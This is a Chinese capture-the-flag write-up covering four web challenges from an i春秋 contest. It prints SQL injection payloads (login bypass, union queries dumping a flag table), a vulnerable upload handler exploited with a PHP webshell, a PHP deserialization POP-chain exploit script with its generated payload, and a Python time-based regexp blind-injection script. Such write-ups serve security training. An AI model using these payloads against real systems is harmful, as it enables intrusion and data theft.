Author:颖奇L’Amore
Blog:www.gem-love.com
第二天wp: https://www.gem-love.com/ctf/1782.html
第三天wp: https://www.gem-love.com/ctf/1785.html
因为比赛第一天同时有俩比赛,Metasequoia当天结束,i春秋这个比赛3天,本来是打算先把Metasequoia做完,然后那个REGEXP时间盲注+P3rh4ps师傅的题目就先放着了第二天做,结果到第二天发现题没了…(赛后已复现)
简单的招聘系统
考点:简单的SQL注入
搞了半天,在个人信息处有xss,但是也不知道怎么打到admin的cookie,后来发现直接
- 1′ or 1=1#
- 1′ or 1=1#
就登上来admin了,无语。后来听师傅们说,登录窗口存在盲注,不知道这个万能密码是不是非预期。
登陆之后有个search for key的地方,测试发现存在SQL注入,用order by发现有5个表
之后就联合查询就完了
查表:
/pages-blank.php?key=1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()%23
得到:backup, flag, user
查字段:
/pages-blank.php?key=1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()%23
得到:id,safekey,profile,id,flaaag,id,username,password,safekey,profile
flag:
/pages-blank.php?key=1' union select 1,flaaag,3,4,5 from flag %23
得到:flag{99915484-2218-4eb7-a384-251e8b46501d}
ezupload
考点:无
啥过滤都没有,直接上传php木马
然后运行readflag得到flag,简直白给
当然这个肯定是翻车了导致的这么弱智的非预期,看一下他的源代码:
<?php
error_reporting(0);
header("Content-type: text/html; charset=utf-8");
$sandbox='sandbox/'.md5($_SERVER['remote_addr']);
echo $sandbox;
mkdir($sandbox);
chdir($sandbox);
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['php,htaccess,ini,'])) {
die('upload failed');
}
move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
echo "<br><br>";
echo "<a href='{$sandbox}/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>";
endif;
?>
<form method="post" enctype="multipart/form-data">
上传: <input type="file" name="file_upload">
<input type="submit">
</form>
反正我是傻了,这数组写的就离谱:
if (in_array($ext, ['php,htaccess,ini,'])) {
die('upload failed');
}
这样的数组根本不匹配php文件,应该写成['php', 'htaccess', 'ini']
。预期解法应该是用phtml后缀绕过。
Ezphp
考点:反序列化字符逃逸
这题其实半个多月前p3师傅出完题就让我们帮忙测试来着,就是找pop链太套娃了,一直懒得复现
这题有迷惑人的地方,首先登陆后url上的?action=login让人误以为是LFI,测试后发现包含失败;登录框会以为是注入,结果也注不出来。然后扫一下发现有www.zip源码泄露
update.php:
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
login.php:
<?php
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>
最核心的代码都在lib.php里:
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
这个挺不好绕的,先找反序列化位点,在User类内:
public function update(){
$Info=unserialize($this->getNewinfo());
[...省略...]
}
跟进这个getNewinfo()
函数:
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
这个getNewinfo()
函数可以看到,$age
和$nickname
是可控的,其将Info对象序列化后经过safe()
函数处理返回给update()
进行反序列化,跟进safe()
函数:
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
这个函数会将一些关键字替换成hacker,导致长度发生变化(变长),因此为字符逃逸提供了可能。
知道了如何逃逸,接下来就构造pop链就好了,在update.php内发现实例化了User并且调用了User->update()
进行反序列化等操作,如果登录成功则输出flag:
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
继续跟进User
对象,可以看到__toString()
魔术方法:
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
来到UpdateHelper
类,发现会把sql给echo()
出来:
public function __destruct()
{
echo $this->sql;
}
如果$sql = new User()
的话,就会触发User内的__toString()
魔术方法,该魔术方法内调用了$nickname
属性的update()
方法。虽然dbCtrl
对象拥有update()
方法,但真正是自己做的题的话就会发现,若$nickname
实例化成个对象没意义,那个update()
方法完全是障眼法,只能继续看。
可以发现Info类内有__Call()
魔术方法,如果调用了一个不存在的属性,__Call()
方法就会触发,正好Info类没有update()
方法,如果User内的$nickname
实例化为Info对象,调用不存在的update()
就会触发这个__Call()
,这个__Call()
魔术方法将Ctrlcase
的login()
函数结果输出出来:
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
这就很明显了,要把$this->CtrlCase
实例化成dbCtrl
对象,调用dbCtrl对象内的login()
方法,跟进:
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
发现它正好把SQL的结果给返回了,这样整个pop链基本就理清楚了。
exp脚本:
<?php
class User
{
public $age= 'select password,id from user where username=?'; //要把id放password后面
public $nickname=null;
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
}
class UpdateHelper
{
public $sql;
}
class dbCtrl
{
public $hostname = "127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name='admin';
public $token = 'admin';
}
$y1ng = new UpdateHelper();
$y1ng->sql = new User();
$y1ng->sql->nickname = new Info();
$y1ng->sql->nickname->CtrlCase = new dbCtrl();
$y1ng = '";s:8:"CtrlCase";' . serialize($y1ng) . "}";
$length = strlen($y1ng);
$y1ng = str_repeat('union', $length).$y1ng;
echo($y1ng);
输出:
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:5:"token";s:5:"admin";}}}}}
在update.php内post提交age=123&nickname=
后面接上输出结果,就会得到admin密码的md5
解密,然后登陆即可得到flag
盲注
考点:regexp注入+时间盲注
打开题目得到源码:
<?php
# flag在fl4g里
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();
$id = $_GET['id'];
if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);
虽然并不知道waf.php的过滤规则,但是很好fuzz,只要被匹配了就会exit()
,fuzz发现union
select
'
=
等常用关键字被ban了。没有等号可以使用基于regexp的时间盲注,该payload可成功延时:
?id=111 or if((substr((fl4g),1,1) regexp "^f"), sleep(5),1)
所以就写脚本跑就行了:
#Author: 颖奇L'Amore
#Blog: www.gem-love.com
import requests
import time
import datetime
from urllib.parse import quote
url = "http://2c2d306b5d6745be846972da7fd262b6e3668d53fa124de3.changame.ichunqiu.com/?id=111"
alphabet = ['?','!',',','|','[',']','{','}','_','/','*','-','+','&',"%",'#','@','$','~','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
target = 'fl4g'
result = ''
print('www.gem-love.com')
for i in range (1,33):
for char in alphabet:
# 设置payload
payload =' or if((substr(({}),{},1) regexp "^{}"),sleep(3),1)'.format(target, i, char)
# 计算响应时长
start = int(time.time())
r = requests.get(url+quote(payload))
response_time = int(time.time()) - start
if response_time >= 2:
result += char
print('Found: {}'.format(result))
break
就是比较慢,整个过程得跑几分钟才出来完整flag
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://blog.gem-love.com/ctf/1669.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示